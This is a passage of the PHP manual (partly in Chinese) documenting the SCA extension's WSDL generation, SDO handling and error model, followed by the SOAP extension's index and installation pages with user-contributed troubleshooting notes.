There are no special steps needed to deploy a PHP SCA component. It is sufficient to place the component PHP script in its proper place under the web server document root, just like any other PHP script. It is the SCA::initComponent() executable line within each component that will be executed whenever the script is called, and which will be responsible for making the component respond appropriately to Web service calls, local calls, or requests for WSDL.

User Contributed Notes

There are no user contributed notes for this page.


Obtaining the WSDL for an SCA component offering a Service as a Web service

SCA components that expose a Web service interface (i.e. have an @binding.soap annotation) will return their WSDL definition in response to an HTTP request with a get parameter of "wsdl". The usual way to obtain this is with "?wsdl" on the end of a URL. The example below uses file_get_contents() to obtain WSDL from a service and writes it to a temporary file before then obtaining a proxy for the service in the usual way. You could of course also obtain the WSDL in a browser, or by some other means, and save the file yourself.

Example #1 Generated WSDL

<?php
$wsdl = file_get_contents('http://www.example.com/Services/Example.php?wsdl');
file_put_contents("service.wsdl",$wsdl); //write the wsdl to a file
$service = SCA::getService('service.wsdl');
?>

NOTE: If the wsdl requires imported xsds, these will need to be fetched separately.

User Contributed Notes

There are no user contributed notes for this page.


Understanding how the WSDL is generated

SCA for PHP generates WSDL for components which contain an @binding.soap annotation after the @service annotation. To generate WSDL, the SCA runtime reflects on the component and examines the @param and @return annotations for each public method, as well as any @types annotations within the component. The information from the @param and @return annotations is used to build the <types> section of the WSDL. Any @types annotations which specify a separate schema file will result in an <import> element for that schema within the WSDL.

Location attribute of the <service> element

At the bottom of the WSDL is the <service> element which uses the location attribute to identify the URL of the service. For example this might look as follows:

Example #1 location attribute

<service name="ConvertedStockQuote"
...
location="http://localhost/ConvertedStockQuote/ConvertedStockQuote.php"/>

Note that this location is relative to the document root of the web server, and cannot be worked out in advance. It can only be worked out once the component is in its proper place under a running web server, when the hostname and port can be known and placed in the WSDL. Detail from the URL that requests the WSDL is used, so for example if the WSDL is generated in response to a request to http://www.example.com:1111/ConvertedStockQuote/ConvertedStockQuote.php?wsdl, a location of http://www.example.com:1111/ConvertedStockQuote/ConvertedStockQuote.php is what will be inserted into the location attribute in the WSDL.

Document/literal wrapped WSDL and positional parameters

SCA for PHP generates WSDL in the document/literal wrapped style. This style encloses the parameters and return types of a method in 'wrappers' which are named after the corresponding method. The <types> element at the top of the WSDL defines each of these wrappers. If we consider the getQuote() method of the ConvertedStockQuote example:

Example #2 method with two arguments

<?php
   /**
     * Get a stock quote for a given ticker symbol in a given currency.
     *
     * @param string $ticker The ticker symbol.
     * @param string $currency What currency to convert the value to.
     * @return float The stock value is the target currency.
     */
    function getQuote($ticker, $currency)
    {
        $quote  = $this->stock_quote->getQuote($ticker);
        $rate   = $this->exchange_rate->getRate($currency);
        return  $rate * $quote;
    }
?>

The WSDL generated to define this method will name both the method and the parameters, and give an XML schema type for the parameters. The types section of the WSDL looks like this:

Example #3 types section illustrating named parameters

<types>
    <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
      targetNamespace="http://ConvertedStockQuote">
      <xs:element name="getQuote">
        <xs:complexType>
          <xs:sequence>
            <xs:element name="ticker" type="xs:string"/>
            <xs:element name="currency" type="xs:string"/>
          </xs:sequence>
        </xs:complexType>
      </xs:element>
      <xs:element name="getQuoteResponse">
        <xs:complexType>
          <xs:sequence>
            <xs:element name="getQuoteReturn" type="xs:float"/>
          </xs:sequence>
        </xs:complexType>
      </xs:element>
    </xs:schema>
  </types>

The SCA run-time has special processing to handle how positional parameter lists in the interface are converted to XML containing named parameters in the soap request, and then back to positional parameter lists again. To see why this matters, consider how a PHP script which used a different interface to make a SOAP call would need to construct the parameter list. A PHP script using the PHP SoapClient, for example, would need to pass the SoapClient a single parameter giving the values for "ticker" and "currency", perhaps as an associative array. To insist that SCA components construct parameter lists to make Web service calls in this way would be to make local and remote calls look different, so a different approach is needed.

When SCA generates WSDL for an SCA component it includes a comment in the WSDL which marks that WSDL as being the interface for an SCA component. In this case, when one SCA component calls another through a Web service, the SCA runtime on the calling end takes the positional parameter list from the call and assigns the values one by one to the named elements in the soap message. For example a call to the getQuote() method defined above that passes the values 'IBM' and 'USD' and looks like this:

<?php
  $quote = $remote_service->getQuote('IBM','USD');
?>

will result in a soap message containing the following:

<getQuote>
  <ticker>IBM</ticker>
  <currency>USD</currency>
</getQuote>

On the service-providing end, the SCA run-time takes the parameters one by one from the soap message and forms a positional parameter list from them, re-forming the argument list ('IBM','USD').

Caution

At both ends the SCA runtime relies on the order in which the parameters appear in the soap message being the same as that in the target method's parameter list. This is ultimately determined by the order of the @param annotations: this determines the order in which the parameters appear in the WSDL and thereby the order in which they appear in the soap message. Therefore it is essential that the order of the @param annotations matches that of the parameters in the method's parameter list.

User Contributed Notes

There are no user contributed notes for this page.


Working with Data Structures

SCA components can pass and return the four PHP scalar types boolean, integer, float and string, but to pass or return data structures, SCA components use Service Data Objects (SDOs). SDOs are described in much more detail in the SDO pages of this manual. Readers familiar with SDOs will know that they are suitable for representing the sort of structured and semi-structured data that is frequently modeled in XML, and that they serialize very naturally for passing between remote components, or in Web services. SDOs are presently the only supported way to pass and return data structures. It is not possible to pass or return PHP objects, or PHP arrays.

The SCA runtime always assures data is passed by-value, even for local calls. To do this, the SCA runtime copies any SDOs in the parameter list before passing them on, just as it does for scalar types.

How data structures are defined to SCA components

Currently the only mechanism for specifying the location of a data structure definition is by specifying the types in an XML schema file. However, in the future it may be possible to define types in other ways, such as based on PHP classes or interfaces, or based on definitions expressed as associative arrays.

To illustrate the use of SDOs we introduce a new component. The PortfolioMangement service below returns an SDO representing a stock portfolio for a given customer.

Example #1 A Component that uses Data Structures

<?php

include "SCA/SCA.php";

/**
 * Manage the portfolio for a customer.
 *
 * @service
 * @binding.soap
 *
 * @types http://www.example.org/Portfolio PortfolioTypes.xsd
 *
 */
class PortfolioManagement {

    /**
     * Get the stock portfolio for a given customer.
     *
     * @param integer $customer_id The id for the customer
     * @return Portfolio http://www.example.org/Portfolio The stock portfolio (symbols and quantities)
     */
    function getPortfolio($customer_id) {
        // Pretend we just got this from a database
        $portfolio = SCA::createDataObject('http://www.example.org/Portfolio', 'Portfolio');
        $holding = $portfolio->createDataObject('holding');
        $holding->ticker = 'AAPL';
        $holding->number = 100.5;
        $holding = $portfolio->createDataObject('holding');
        $holding->ticker = 'INTL';
        $holding->number = 100.5;
        $holding = $portfolio->createDataObject('holding');
        $holding->ticker = 'IBM';
        $holding->number = 100.5;
        return $portfolio;
    }

}
?>

The @types annotation:

<?php
@types http://www.example.org/Portfolio PortfolioTypes.xsd
?>

indicates that types in the namespace http://www.example.org/Portfolio will be found in the schema file located by the URI PortfolioTypes.xsd. The generated WSDL would reproduce this information with an import statement as follows:

<xs:import schemaLocation="PortfolioTypes.xsd"
                      namespace="http://www.example.org/Portfolio"/>

so the URI, absolute or relative, must be one that can be resolved when included in the schemaLocation attribute.

Creating SDOs

Readers familiar with SDOs will know that they are always created according to a description of the permitted structure (sometimes referred to as the 'schema' or 'model') and that, rather than creating them directly using 'new', some form of data factory is needed. Often, an existing data object can be used as the data factory, but sometimes, and especially in order to get the first data object, something else must act as the data factory.

In SCA, either the SCA runtime class or the proxies for services, whether local or remote, can act as the data factories for SDOs. The choice of which to use, and when, is described in the next two sections.

We switch to a new example in order to illustrate the creation of SDOs, both to pass to a service, and to be returned from a service.

Creating an SDO to pass to a service

A caller of a service which requires a data structure to be passed in to it uses the proxy to the service as the data factory for the corresponding SDOs. For example, suppose a component makes use of a proxy for a service provided by a local AddressBook component.

<?php
/**
 * @reference
 * @binding.local AddressBook.php
 */
$address_book;
?>

The AddressBook component that it wishes to call is defined as follows:

<?php
/**
* @service
* @binding.soap
* @types http://addressbook ../AddressBook/AddressBook.xsd
*/
class AddressBook {

    /**
     * @param personType $person http://addressbook (a person object)
     * @return addressType http://addressbook (the address object for the person object)
     */
    function lookupAddress($person)  {
        ...
    }
}
?>

The AddressBook component provides a service method called lookupAddress() which uses types from the http://addressbook namespace. The lookupAddress method takes a personType data structure and returns an addressType. Both types are defined in the schema file addressbook.xsd.

Once the component that wishes to use the AddressBook component has been constructed, so that the $address_book instance variable contains a proxy for the service, the calling component can use the proxy in $address_book to create the person SDO, as shown below:

<?php
$william_shakespeare        = $address_book->createDataObject('http://addressbook','personType');
$william_shakespeare ->name = "William Shakespeare";
$address                    = $address_book->lookupAddress($william_shakespeare);
?>

Note, the use of the proxy as the means to create the SDO is not limited to SCA components. If a service is being called from a general PHP script, and the proxy was obtained with getService() then the same approach is used.

<?php
$address_book = SCA::getService('AddressBook.php');
$william_shakespeare = $address_book->createDataObject('http://addressbook','personType');
?>

Creating an SDO to return from a component

A component that needs to create a data object for return to a caller will not have a proxy to use as a data object, In this case it uses the createDataObject() static method on SCA.php. Hence if the AddressBook component described above needed to create an object of type addressType within the namespace http://addressbook, it might do so as follows:

<?php
$address = SCA::createDataObject('http://addressbook','addressType');
?>

User Contributed Notes

There are no user contributed notes for this page.


Error handling

This section describes how errors are handled. There are two types of errors:

  • SCA runtime exceptions are those that signal problems in the management of the execution of components, and in the interaction with remote services. These might occur due to network or configuration problems.

  • Business exceptions are those that are defined by the programmer. They extend the PHP Exception class, and are thrown and caught deliberately as part of the business logic.

Handling of Runtime exceptions

There are two types of SCA runtime exception:

  • SCA_RuntimeException - signals a problem found by or perhaps occurring within the SCA runtime. This can be thrown for a variety of reasons, many of which can occur regardless of whether a connection is being made to a local or a remote service: an error in one of the annotations within a component, a missing WSDL or php file, and so on. In the case of Web services, an SCA_RuntimeException can also be thrown if a SoapFault is received from a remote Web service and the fault code in the SoapFault indicates that a retry is unlikely to be successful.

  • SCA_ServiceUnavailableException - this is a subclass of SCA_RuntimeException and signals a problem in connecting to or using a remote service, but one which might succeed if retried. In the case of Web services, this exception is thrown if a SoapFault is received with a fault code that indicates that a retry might be successful.

Handling of Business exceptions

Business exceptions may be defined and thrown by a component in the normal way, regardless of whether the component has been called locally or remotely. The SCA runtime does not catch business exceptions that have been thrown by a component called locally, so they will be returned to a caller in the normal way. If a component has been called via a Web service, on the other hand, the SCA runtime on the service providing end does catch business exceptions, and will ensure these are passed back to the calling end and re-thrown. Assuming that the calling end has a definition of the exception (that is, is able to include a file containing the PHP class defining the exception) the re-thrown exception will contain the same details as the original, so that the getLine() and getFile() methods for example will contain the location where the exception was thrown within the business logic. The exception will be passed in the detail field of a soap fault with a fault code of "Client".

User Contributed Notes

There are no user contributed notes for this page.


SCA 函数

预定义类

Most of the interface to SCA is through the annotations within SCA components so there are few public classes and methods. The only SCA classes that scripts or components can call are the SCA class itself, and the proxy classes SCA_LocalProxy and SCA_SoapProxy.

SCA

Much of the work of the SCA class is performed when the file SCA.php is included within an SCA component. However, a PHP script may include SCA.php and call the getService() method on the SCA class in order to obtain a proxy for a service. A component will not need to do this as proxies are obtained instead by defining an instance variable with the @reference annotation.

Components that need to create an SDO to return to a caller will need a data factory to call. For this purpose the SCA class supports the createDataObject() method, which will create an SDO according to the model defined by the component's @types annotations. The arguments to createDataObject() are the same as those to SDO's XML Data Access Service.

方法

  • getService - obtain a proxy for a service

  • createDataObject - create an SDO

SCA_LocalProxy

When getService() is called with the target of a local PHP component, a local proxy is returned. A local proxy is also injected into the instance variables of a component that are defined with an @reference and an @binding.php anotation. When the script or component makes calls on the local proxy, they are passed on to the target component itself.

Components that need to create an SDO to pass to a component will need a data factory to call. For this purpose the SCA_LocalProxy class supports the createDataObject() method, which will create an SDO according to the model defined by the components' @types annotations. The arguments to the createDataObject() are the same as those to SDO's XML Data Access Service.

方法

  • createDataObject - create an SDO

SCA_SoapProxy

When getService() is called with the target of a WSDL file, a SOAP proxy is returned. A SOAP proxy is also injected into the instance variables of a component that are defined with an @reference and an @binding.soap anotations. When the script or component makes calls on the SOAP proxy, they are formed into Web service SOAP requests and passed on to the target component, with the help of the PHP Soap extension.

Components that need to create an SDO to pass to a component will need a data factory to call. For this purpose the SCA_SoapProxy class supports the createDataObject() method, which will create an SDO according to the model defined within the target WSDL. The arguments to the createDataObject() are the same as those to SDO's XML Data Access Service.

方法

  • createDataObject - create an SDO

Table of Contents

  • SCA::createDataObject — Create an SDO
  • SCA::getService — Obtain a proxy for a service
  • SCA_LocalProxy::createDataObject — Create an SDO
  • SCA_SoapProxy::createDataObject — Create an SDO

User Contributed Notes

There are no user contributed notes for this page.


Create an SDO

  • ? SCA 函数
  • SCA::getService ?
  • PHP Manual
  • SCA 函数
  • Create an SDO

SCA::createDataObject

(PECL SDO >= 0.5.0)

SCA::createDataObject — Create an SDO

说明

SCA::createDataObject ( string $type_namespace_uri , string $type_name ) : SDO_DataObject
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

This method is used inside an SCA component that needs to create an SDO to return. The parameters are the desired SDO's namespace URI and type name. The namespace and type must be defined in one of the schema files which are specified on the @types annotation within the component.

参数

type_namespace_uri

The namespace of the type.

type_name

The name of the type.

返回值

Returns the newly created SDO_DataObject.

错误／异常

SDO_TypeNotFoundException

Thrown if the namespaceURI and typeName do not correspond to a type in any of the schema files specified in the @types annotations.

User Contributed Notes

There are no user contributed notes for this page.


Obtain a proxy for a service

  • ? SCA::createDataObject
  • SCA_LocalProxy::createDataObject ?
  • PHP Manual
  • SCA 函数
  • Obtain a proxy for a service

SCA::getService

(PECL SDO >= 0.5.0)

SCA::getService — Obtain a proxy for a service

说明

SCA::getService ( string $target [, string $binding [, array $config ]] ) : mixed
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Examine the target and initialize and return a proxy of the appropriate sort. If the target is for a local PHP component the returned proxy will be an SCA_LocalProxy. If the target is for a WSDL file, the returned proxy will be a SCA_SoapProxy.

参数

target

An absolute or relative path to the target service or service description (e.g. a URL to a json-rpc service description, a PHP component, a WSDL file, and so on.). A relative path, if specified, is resolved relative to the location of the script issuing the getService() call, and not against the include_path or current working directory.

binding

The binding (i.e. protocol) to use to communicate with the service (e.g binding.jsonrpc for a json-rpc service). Note, some service types can be deduced from the target parameter (e.g. if the target parameter ends in .wsdl then SCA will assume binding.soap). Any binding which can be specified in an annotation can be specified here. For example 'binding.soap' is equivalent to the '@binding.soap' annotation.

config

Any additional configuration properties for the binding (e.g. array('location' => 'http://example.org')). Any binding configuration which can be specified in an annotation can be specified here. For example, 'location' is equivalent to the '@location' annotation to configure the location of a target soap service.

返回值

The SCA_LocalProxy or SCA_SoapProxy.

范例

Example #1 An SCA::getService() example

This example shows how to get a proxy to an email soap service described by EmailService.wsdl and located at http://example.org.

<?php
include 'SCA/SCA.php';
$service = SCA::getService('EmailService.wsdl', 'binding.soap', array('location' => 'http://example.org'));
$service->send(...);
?>

以上例程会输出：

User Contributed Notes

There are no user contributed notes for this page.


Create an SDO

  • ? SCA::getService
  • SCA_SoapProxy::createDataObject ?
  • PHP Manual
  • SCA 函数
  • Create an SDO

SCA_LocalProxy::createDataObject

(PECL SDO >= 0.5.0)

SCA_LocalProxy::createDataObject — Create an SDO

说明

SCA_LocalProxy::createDataObject ( string $type_namespace_uri , string $type_name ) : SDO_DataObject
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

This method is used inside either an ordinary PHP script or an SCA component that needs to create an SDO to pass to a local service. The parameters are the desired SDO's namespace URI and type name. The namespace and type must be defined in the interface of the component that is to be called, so the namespace and type must be defined in one of the schema files which are specified on the @types annotation within the component for which the SCA_LocalProxy object is a proxy.

参数

type_namespace_uri

The namespace of the type.

type_name

The name of the type.

返回值

Returns the newly created SDO_DataObject.

错误／异常

SDO_TypeNotFoundException

Thrown if the namespaceURI and typeName do not correspond to a type in any of the schema files specified in the @types annotations within the component for which the SCA_LocalProxy object is a proxy..

User Contributed Notes

There are no user contributed notes for this page.


Create an SDO

  • ? SCA_LocalProxy::createDataObject
  • SOAP ?
  • PHP Manual
  • SCA 函数
  • Create an SDO

SCA_SoapProxy::createDataObject

(PECL SDO >= 0.5.0)

SCA_SoapProxy::createDataObject — Create an SDO

说明

SCA_SoapProxy::createDataObject ( string $type_namespace_uri , string $type_name ) : SDO_DataObject
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

This method is used inside either an ordinary PHP script or an SCA component that needs to create an SDO to pass to a web service. The parameters are the desired SDO's namespace URI and type name. The namespace and type must be defined in the interface of the component that is to be called, so the namespace and type must be defined within the WSDL for the web service. If the web service is also an SCA component then the types will have been defined within one of the schema files which are specified on the @types annotation within the component for which the SCA_SoapProxy object is a proxy.

参数

type_namespace_uri

The namespace of the type.

type_name

The name of the type.

返回值

Returns the newly created SDO_DataObject.

错误／异常

SDO_TypeNotFoundException

Thrown if the namespaceURI and typeName do not correspond to a type found in the WSDL that was used to initialise this SCA_SoapProxy.

User Contributed Notes

There are no user contributed notes for this page.


SOAP

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • SOAP 函数
    • is_soap_fault — Checks if a SOAP call has failed
    • use_soap_error_handler — Set whether to use the SOAP error handler
  • SoapClient — The SoapClient class
    • SoapClient::__call — Calls a SOAP function (deprecated)
    • SoapClient::__construct — SoapClient constructor
    • SoapClient::__doRequest — Performs a SOAP request
    • SoapClient::__getCookies — Get list of cookies
    • SoapClient::__getFunctions — Returns list of available SOAP functions
    • SoapClient::__getLastRequest — Returns last SOAP request
    • SoapClient::__getLastRequestHeaders — Returns the SOAP headers from the last request
    • SoapClient::__getLastResponse — Returns last SOAP response
    • SoapClient::__getLastResponseHeaders — Returns the SOAP headers from the last response
    • SoapClient::__getTypes — Returns a list of SOAP types
    • SoapClient::__setCookie — The __setCookie purpose
    • SoapClient::__setLocation — Sets the location of the Web service to use
    • SoapClient::__setSoapHeaders — Sets SOAP headers for subsequent calls
    • SoapClient::__soapCall — Calls a SOAP function
    • SoapClient::SoapClient — SoapClient constructor
  • SoapServer — The SoapServer class
    • SoapServer::addFunction — 添加一个或多个函数来处理SOAP请求
    • SoapServer::addSoapHeader — Add a SOAP header to the response
    • SoapServer::__construct — SoapServer constructor
    • SoapServer::fault — Issue SoapServer fault indicating an error
    • SoapServer::getFunctions — Returns list of defined functions
    • SoapServer::handle — Handles a SOAP request
    • SoapServer::setClass — Sets the class which handles SOAP requests
    • SoapServer::setObject — Sets the object which will be used to handle SOAP requests
    • SoapServer::setPersistence — Sets SoapServer persistence mode
    • SoapServer::SoapServer — SoapServer constructor
  • SoapFault — The SoapFault class
    • SoapFault::__construct — SoapFault constructor
    • SoapFault::SoapFault — SoapFault constructor
    • SoapFault::__toString — Obtain a string representation of a SoapFault
  • SoapHeader — The SoapHeader class
    • SoapHeader::__construct — SoapHeader constructor
    • SoapHeader::SoapHeader — SoapHeader constructor
  • SoapParam — The SoapParam class
    • SoapParam::__construct — SoapParam constructor
    • SoapParam::SoapParam — SoapParam constructor
  • SoapVar — The SoapVar class
    • SoapVar::__construct — SoapVar constructor
    • SoapVar::SoapVar — SoapVar constructor

User Contributed Notes

Luke 08-Sep-2015 07:21
Was calling an asmx method like $success=$x->AuthenticateUser($userName,$password) and this was returning me an error.

However i changed it and added the userName and password in an array and its now KAWA...
spectrumcat at gmail dot com 22-Feb-2015 04:19
In case you'll get a .p12 certificate for your SOAP client to use (or any other actually) make sure to convert it to PEM and merge with the private key.

Convert p12 to PEM with merged private key:
openssl pkcs12 -in supplied_cert.p12 -out php_soap_cert.pem -clcerts

Example:
$wsdl = "./mywsdl.wsdl"; // Or "http://provider.com/api/api.wsdl"

$options = [
        'location'      => "http://provider.com/api/",
        'local_cert'    => "./php_soap_cert.pem",
        'passphrase'    => "certificate_password",
];

try {
    $soapClient = new SoapClient($wsdl, $options);
} catch(Exception $e) {
    var_dump($e);
}
rafinskipg at gmail dot com 14-May-2012 02:54
Support for MTOM addign this code to your project:

<?php
class MySoapClient extends SoapClient
{
    public function __doRequest($request, $location, $action, $version, $one_way = 0)
    {
        $response = parent::__doRequest($request, $location, $action, $version, $one_way);
        // parse $response, extract the multipart messages and so on

        //this part removes stuff
        $start=strpos($response,'<?xml');
        $end=strrpos($response,'>');
        $response_string=substr($response,$start,$end-$start+1);
        return($response_string);
    }
}

?>

Then you can do this
<?php
  new MySoapClient($wsdl_url);
?>
dennis at pleasedontspam dot clansman dot nl 02-Dec-2011 03:53
When you receive the soapfault message: "looks like we got no XML document" it might be that you're talking to a server that supports MTOM (http://www.w3.org/TR/soap12-mtom/).

MTOM is, as of yet (5.3.6), not supported by the SoapClient.
mariamr at gmail dot com 16-Oct-2010 06:38
"SOAP-ERROR: Parsing WSDL: Couldn't find in 'PATH/TO/YOUR/WSDL'"

This error occurs because some versions of PHP SOAP client  do not send the user name and password that you pass as the options input parameter of the SoapClient constructor  . Yu need to pass the credentials in the web service URL like this:
$soapClient =new SoapClient("http://user:password@example.com/blahblah.wsdl");
vishal dot thakkar at exateam dot com 22-Feb-2010 06:19
I was trying to figure out for days and days to make SOAP server return an associative array and NOT an object ....

To get an array (not object) in the SOAP response, just serialize the array before returning it to the clent..

hope it helps...
Thanks.....
Vishal Thakkar.
stephenlansell at gmail dot com 03-Feb-2010 07:19
Here is an example of a php client talking to a asmx server:

<?php

        $soapClient = new SoapClient("https://soapserver.example.com/blahblah.asmx?wsdl");

        // Prepare SoapHeader parameters
        $sh_param = array(
                    'Username'    =>    'username',
                    'Password'    =>    'password');
        $headers = new SoapHeader('http://soapserver.example.com/webservices', 'UserCredentials', $sh_param);

        // Prepare Soap Client
        $soapClient->__setSoapHeaders(array($headers));

        // Setup the RemoteFunction parameters
        $ap_param = array(
                    'amount'     =>    $irow['total_price']);

        // Call RemoteFunction ()
        $error = 0;
        try {
            $info = $soapClient->__call("RemoteFunction", array($ap_param));
        } catch (SoapFault $fault) {
            $error = 1;
            print("
            alert('Sorry, blah returned the following ERROR: ".$fault->faultcode."-".$fault->faultstring.". We will now take you back to our home page.');
            window.location = 'main.php';
            ");
        }

        if ($error == 0) {
            $auth_num = $info->RemoteFunctionResult;

            if ($auth_num < 0) {
                ....

                // Setup the OtherRemoteFunction() parameters
                $at_param = array(
                            'amount'        => $irow['total_price'],
                            'description'    => $description);

                // Call OtherRemoteFunction()
                $trans = $soapClient->__call("OtherRemoteFunction", array($at_param));
                $trans_result = $trans->OtherRemoteFunctionResult;
            ....
                } else {
                    // Record the transaction error in the database

                // Kill the link to Soap
                unset($soapClient);
            }
        }
    }
}

?>
moazzam at moazzam-khan dot com 05-Oct-2009 09:37
If anyone is trying to use this for accessing Sabre's web services, it won't work. Sabre checks the request header "Content-Type" to see if it is "text/xml" . If it is not text/xml then it sends an error back.

You will need to create a socket connection and use that to send the request over.
Raphal Gertz 18-Apr-2009 09:50
Juste a note to avoid wasting time on php-soap protocol and format support.

Until php 5.2.9 (at least) the soap extension is only capable of understanding wsdl 1.0 and 1.1 format.

The wsdl 2.0, a W3C recommendation since june 2007, ISN'T supported in php soap extension.
(the soap/php_sdl.c source code don't handle wsdl2.0 format)

The wsdl 2.0 is juste the 1.2 version renamed because it has substantial differences from WSDL 1.1.

The differences between the two format may not be invisible if you don't care a lot.

The wsdl 1.0 format structure (see http://www.w3.org/TR/wsdl) :
<definitions ...>
    <types ...>
    </types>
    <message ...>
        <part ...>
    </message>
    <portType ...>
        <operation ...>
            <input ... />
            <output ... />
            <fault ... />
        </operation>
    </portType>
    <binding ...>
        <operation ...>
            <input ... />
            <output ... />
            <fault ... />
        </operation>
    </binding>
    <service ...>
        <port ...>
    </service>
</definitions>

And the wsdl 2.0 format structure (see http://www.w3.org/TR/wsdl20/) :
<description ...>
    <types ...>
    </types>
    <interface ...>
        <fault ... />
        <operation ...>
            <input ... />
            <output ... />
            <fault ... />
        </operation>
    </interface>
    <binding ...>
        <fault ... />
        <operation ...>
            <input ... />
            <output ... />
            <fault ... />
        </operation>
    </binding>
    <service ...>
        <endpoint ...>
    </service>
</description>

The typical error message if you provide a wsdl 2.0 format file :
PHP Fatal error:  SOAP-ERROR: Parsing WSDL: Couldn't find <definitions> in 'wsdl/example.wsdl' in /path/client.php on line 9
jeff at jeffrodriguez dot com 03-Feb-2009 01:37
Named parameters are actually super easy once you know how to do it. No need to bother with SoapParam or SoapVar for the most part.

The code:
<?php
$ws->getAsset(array(
  'assetId' => 5967
));
?>

Generates the following SOAP body: (formatted for readability)
<SOAP-ENV:Body>
  <ns1:getAsset>
    <assetId>5967</assetId>
  </ns1:getAsset>
</SOAP-ENV:Body>
beau dot scott at gmail dot com 22-Oct-2008 03:34
If you've been trying to send null to a service that considers empty property tags as empty strings rather than null, here's an extending class that fixes this using xsi:nil:

<?php
class XSoapClient extends SoapClient
{
    const XSI_NS = "http://www.w3.org/2001/XMLSchema-instance";
    const _NULL_ = "xxx_replacedduetobrokephpsoapclient_xxx";

    protected $mustParseNulls = false;

    public function __doRequest($request, $location, $action, $version, $one_way = null)
    {
        if($this->mustParseNulls)
        {
            $this->mustParseNulls = false;
            $request = preg_replace('/<ns1:(\w+)>'.self::_NULL_.'<\/ns1:\\1>/',
                        '<ns1:$1 xsi:nil="true"/>',
                        $request, -1, &$count);

            if ($count > 0)
            {
                $request = preg_replace('/(<SOAP-ENV:Envelope )/',
                    '\\1 xmlns:xsi="'.self::XSI_NS.'" ',
                    $request);
            }
        }
        return parent::__doRequest($request, $location, $action, $version, $one_way);
    }

    public function __call($method, $params)
    {
        foreach($params as $k => $v)
        {
            if($v === null)
            {
                $this->mustParseNulls = true;
                $params[$k] = self::_NULL_;
            }
        }
        return parent::__call($method, $params);
    }
}
?>
Ryan 22-Oct-2008 06:21
If you are having an issue where SOAP cannot find the functions that are actually there if you view the wsdl file, it's because PHP is caching the wsdl file (for a day at a time). To turn this off, have this line on every script that uses SOAP: ini_set("soap.wsdl_cache_enabled", "0"); to disable the caching feature.
ivan dot cubillas at xeridia dot com 08-Aug-2008 01:02
The problem with the PHP WebService Client

We've a JAVA WebService Server which could have attached documents. When the PHP Client send the dates, the Server take it correctly, but when
the server return it to the PHP Client, the client reply always that is not a XML valid document.

The problem could be than the JAVA Server adds (to this type of XML binary files)  the documentType head: xml+xop and the clean doesn't understand
this head as a XML document.

There is some possibility to solve this problem in the PHP Client without doing changes in the JAVA Server?
aeg at mallxs dot nl 28-May-2008 05:19
SoapFault exception: [SOAP-ENV:Client] looks like we got no XML document

This error can have to reasons:
1: Your server script has some hidden output like spaces before or afher <?php ... ?> or echoing some text
2: You have a bug in your server script;
    resulting in a error message output

Test your server script by calling it direct  from the browser.
The result should be a clean output like :

?<SOAP-ENV:Envelope>
?<SOAP-ENV:Body>
?<SOAP-ENV:Fault>
  <faultcode>SOAP-ENV:Server</faultcode>
  <faultstring>Bad Request. Can't find HTTP_RAW_POST_DATA</faultstring>
</SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

This tell's you there was a request but without data; This is OK
Now if you get the error when calling with your soap client;
remember that your server now will call other functions in the server.php script because it now has some data to process
nodkz at mail dot ru 24-May-2008 02:25
PROBLEM (with SOAP extension under PHP5) of transferring object, that contains objects or array of objects. Nested object would not transfer.

SOLUTION:
This class was developed by trial and error by me. So this 23 lines of code for most developers writing under PHP5 solves fate of using SOAP extension.

<?php
/*
According to specific of organization process of SOAP class in PHP5, we must wrap up complex objects in SoapVar class. Otherwise objects would not be encoded properly and could not be loaded on remote SOAP handler.

Function "getAsSoap" call for encoding object for transmission. After encoding it can be properly transmitted.
*/
abstract class SOAPable {
    public function getAsSOAP() {
        foreach($this as $key=>&$value) {
            $this->prepareSOAPrecursive($this->$key);
        }
        return $this;
    }

    private function prepareSOAPrecursive(&$element) {
        if(is_array($element)) {
            foreach($element as $key=>&$val) {
                $this->prepareSOAPrecursive($val);
            }
            $element=new SoapVar($element,SOAP_ENC_ARRAY);
        }elseif(is_object($element)) {
            if($element instanceof SOAPable) {
                $element->getAsSOAP();
            }
            $element=new SoapVar($element,SOAP_ENC_OBJECT);
        }
    }
}

// ------------------------------------------
//  ABSTRACT EXAMPLE
// ------------------------------------------

class PersonList extends SOAPable {
  protected $ArrayOfPerson; // variable MUST be protected or public!
}

class Person extends SOAPable {
   //any data
}

$client=new SoapClient("test.wsdl", array( 'soap_version'=>SOAP_1_2, 'trace'=>1, 'classmap' => array('Person' => "Person", 'PersonList' => "PersonList")  ));

$PersonList=new PersonList;

// some actions

$PersonList->getAsSOAP();

$client->someMethod($PersonList);

?>

So every class, which will transfer via SOAP, must be extends from class SOAPable.
As you can see, in code above, function prepareSOAPrecursive search another nested objects in parent object or in arrays, and if does it, tries call function getAsSOAP() for preparation of nested objects, after that simply wrap up via SoapVar class.

So in code before transmitting simply call $obj->getAsSOAP()


简介

The SOAP extension can be used to write SOAP Servers and Clients. It supports subsets of » SOAP 1.1, » SOAP 1.2 and » WSDL 1.1 specifications.

User Contributed Notes

There are no user contributed notes for this page.


需求

此扩展需要 libxml PHP 扩展。这表示需要使用 --enable-libxml ，尽管这将隐式完成因为 libxml 是缺省开启的。

User Contributed Notes

There are no user contributed notes for this page.


安装

To enable SOAP support, configure PHP with --enable-soap .

User Contributed Notes

slawkens 04-Jun-2018 08:01
for latest MacOS with brew, where Homebrew/PHP is deprecated:

brew install php@7.2-soap

(change 7.2 to your version)
cdvillagra 09-May-2017 05:39
If you have not yet updated the OS and also the PHP version

for Ubuntu 14.04 LTS
sudo apt-get install php5.6-soap
sudo service apache2 restart
c at cinqs dot net 16-Feb-2017 07:55
If you received a

    E: Couldn't find any package by regex 'php7.1-soap'

when using docker php:apache image

try

    apt-get install php-soap

instead
digimix.co 24-Jan-2017 01:31
On PHP7.1 Ubuntu 16.04 LTS:
$ sudo apt-get install php7.1-soap
$ sudo service php7.1-fpm reload
